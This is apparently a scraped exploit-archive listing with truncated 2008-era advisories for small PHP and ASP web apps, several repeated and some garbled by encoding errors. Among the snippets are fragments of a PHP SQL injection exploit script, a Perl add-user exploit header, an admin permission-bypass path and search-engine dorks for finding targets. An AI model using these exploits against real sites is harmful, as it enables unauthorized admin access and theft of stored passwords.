Flat Calendar v1.1 Remote Permission Bypass Vulnerability

Flat Calendar v1.1 Remote Permission Bypass Vulnerability Author : CrackersChild Dork : Flat Calendar: View All Flat Calendar: View All iзin yaklak 654.000 sonuзtan Exploits: site.com/calenderpath/admin/add.php Adding New Evetns without admin permissions...

phpeasydata-sqlxss.txt

------------- PHPEasyData ------------- Informations : Langage : PHP Version : 1.5.4 Website : http://www.phpeasydata.com/ Problems : Multiple vulnerabilities Description: PHPEasyData is a PHP application which allow you to manage and display on the web your dynamics data and directories. Details...

EasyWay CMS - 'mid' SQL Injection

php '.$argv0.' http://www.site.com 1 '; if $argc == 3 echo "\nExploiting in progress:"; $url = $argv1; $source = filegetcontents$url.'/index.php?mid=null+order+by+100/'; $errorcount = substrcount$source,'not a valid MySQL'; $sql = '/index.php?mid=null+union+select+'; for $i = 25; $i=1; $i-- $sour...

Azuresites CMS - Multiple Vulnerabilities

AzureSites CMS - Multiple Vulnerabilities Vulnerabilities discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, GPM, Free-Hack, Ciphercrew, h4ck-y0u Date: 26.05.2008 Vulnerabilities: 1. SQL Injection 1.1...

azuresites-sql.txt

AzureSites CMS - Multiple Vulnerabilities Vulnerabilities discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, GPM, Free-Hack, Ciphercrew, h4ck-y0u Date: 26.05.2008 Vulnerabilities: 1. SQL Injection 1.1...

EasyWay CMS (index.php mid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== EasyWay CMS index.php mid Remote SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com 1 '; if $argc == 3 echo "\nExploiti...

Azuresites CMS - Multiple Vulnerabilities

Azuresites CMS - Multiple Vulnerabilities AzureSites CMS - Multiple Vulnerabilities Vulnerabilities discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, GPM, Free-Hack, Ciphercrew, h4ck-y0u Date: 26.05.2008 Vulnerabilities: 1. SQL Injection 1.1...

EasyWay CMS - mid SQL Injection

EasyWay CMS - mid SQL Injection php '.$argv0.' http://www.site.com 1 '; if $argc == 3 echo "\nExploiting in progress:"; $url = $argv1; $source = filegetcontents$url.'/index.php?mid=null+order+by+100/'; $errorcount = substrcount$source,'not a valid MySQL'; $sql = '/index.php?mid=null+union+select+...

MeltingIce File System <= 1.0 Remote Arbitrary Add-User Exploit

No description provided by source. !/usr/bin/perl use strict; use LWP::UserAgent; NOTE: user a pretty uniqe username, has the script will say successfull if a username aready existed! NOTE: exploit is mainly to get a nice quota, but it can also to be used to add a user primeraly because alot of...

MeltingIce File System 1.0 - Arbitrary Add User

MeltingIce File System 1.0 - Arbitrary Add User !/usr/bin/perl use strict; use LWP::UserAgent; NOTE: user a pretty uniqe username, has the script will say successfull if a username aready existed! NOTE: exploit is mainly to get a nice quota, but it can also to be used to add a user primeraly...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Maian Support 1.3 allow remote attackers to inject arbitrary web script or HTML via the 1 msgscript, 2 msgscript2, and 3 msgscript3 parameters to admin/inc/footer.php; and the 4 msgscript2 parameter to admin/inc/header.php...

CVE-2008-2195

Static code injection vulnerability in admincp.php in DeluxeBB 1.2 and earlier allows remote authenticated administrators to inject arbitrary PHP code into logs/cp.php via the URI...

Meto Forum 1.1 - Multiple SQL Injections

-------------------------------------------\ Meto Forum v1.1 Multiple Remote SQL Ä°injectin Vulnerable Script : http://www.aspindir.com/goster/5444 Risk : Forum in All users saved password is to take. Coded : Asp , SQL Language = 'Acces'...

metoforum-sql.txt

-------------------------------------------\ Meto Forum v1.1 Multiple Remote SQL İinjectin Vulnerable Script : http://www.aspindir.com/goster/5444 Risk : Forum in All users saved password is to take. Coded : Asp , SQL Language = 'Acces'...

Meto Forum 1.1 - Multiple SQL Injections

Meto Forum 1.1 - Multiple SQL Injections -------------------------------------------\ Meto Forum v1.1 Multiple Remote SQL Ä°injectin Vulnerable Script : http://www.aspindir.com/goster/5444 Risk : Forum in All users saved password is to take. Coded : Asp , SQL Language = 'Acces'...

Ktools PhotoStore 3.4.3 (gallery.php gid) SQL Injection Vulnerability

No description provided by source. Remote SQL Injection Vulnerability PhotoStore 3.4.3 gallery.php gid Script NAME : PhotoStore VERSION : 3.4.3 DOWNLOAD : http://www.ktools.net/ AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] D0rk :: n/a ; ExPlo!t For ADMIN INFO : ===...

Ktools PhotoStore <= 3.5.1 (gallery.php gid) SQL Injection Vulnerability

No description provided by source. Remote SQL Injection Vulnerability PhotoStore 3.4.3 gallery.php gid Script NAME : PhotoStore VERSION : 3.4.3 DOWNLOAD : http://www.ktools.net/ AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] D0rk :: n/a ; ExPlo!t For ADMIN INFO : ===...

Ktools Photostore 3.5.1 - gid SQL Injection

Ktools Photostore 3.5.1 - gid SQL Injection Remote SQL Injection Vulnerability PhotoStore 3.4.3 gallery.php gid Script NAME : PhotoStore VERSION : 3.4.3 DOWNLOAD : http://www.ktools.net/ AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] D0rk :: n/a ; ExPlo!t For ADMIN INFO : ===...

Phoenix View CMS Pre Alpha2 - SQL Injection Local File Inclusion Cross-Site Scripting

Phoenix View CMS Pre Alpha2 - SQL Injection Local File Inclusion Cross-Site Scripting Phoenix View CMS = Pre Alpha2 Multiple Vulnerabilities LFISQLIXSS Found by : tw8 Date : 8.05.2008 Website && Forum : http://rstzone.org && http://rstzone.org/forum/ Bug type : LFI, SQLI & XSS Affected software...

Shader TV (Beta) - Multiple SQL Injections

Shader TV Beta Multiple Remote SQL Ä°njection Vulnerable Script : http://www.aspindir.com/indir.asp?ID=5441 Script : http://rapidshare.de/files/39341463/ShaderTV.zip.html Coded : Asp Lnguae : Acces Discovered By U238 | Friends : ka0x - TheBekiR - Marco Almeida - Erhan Bulut - Caborz : Web -...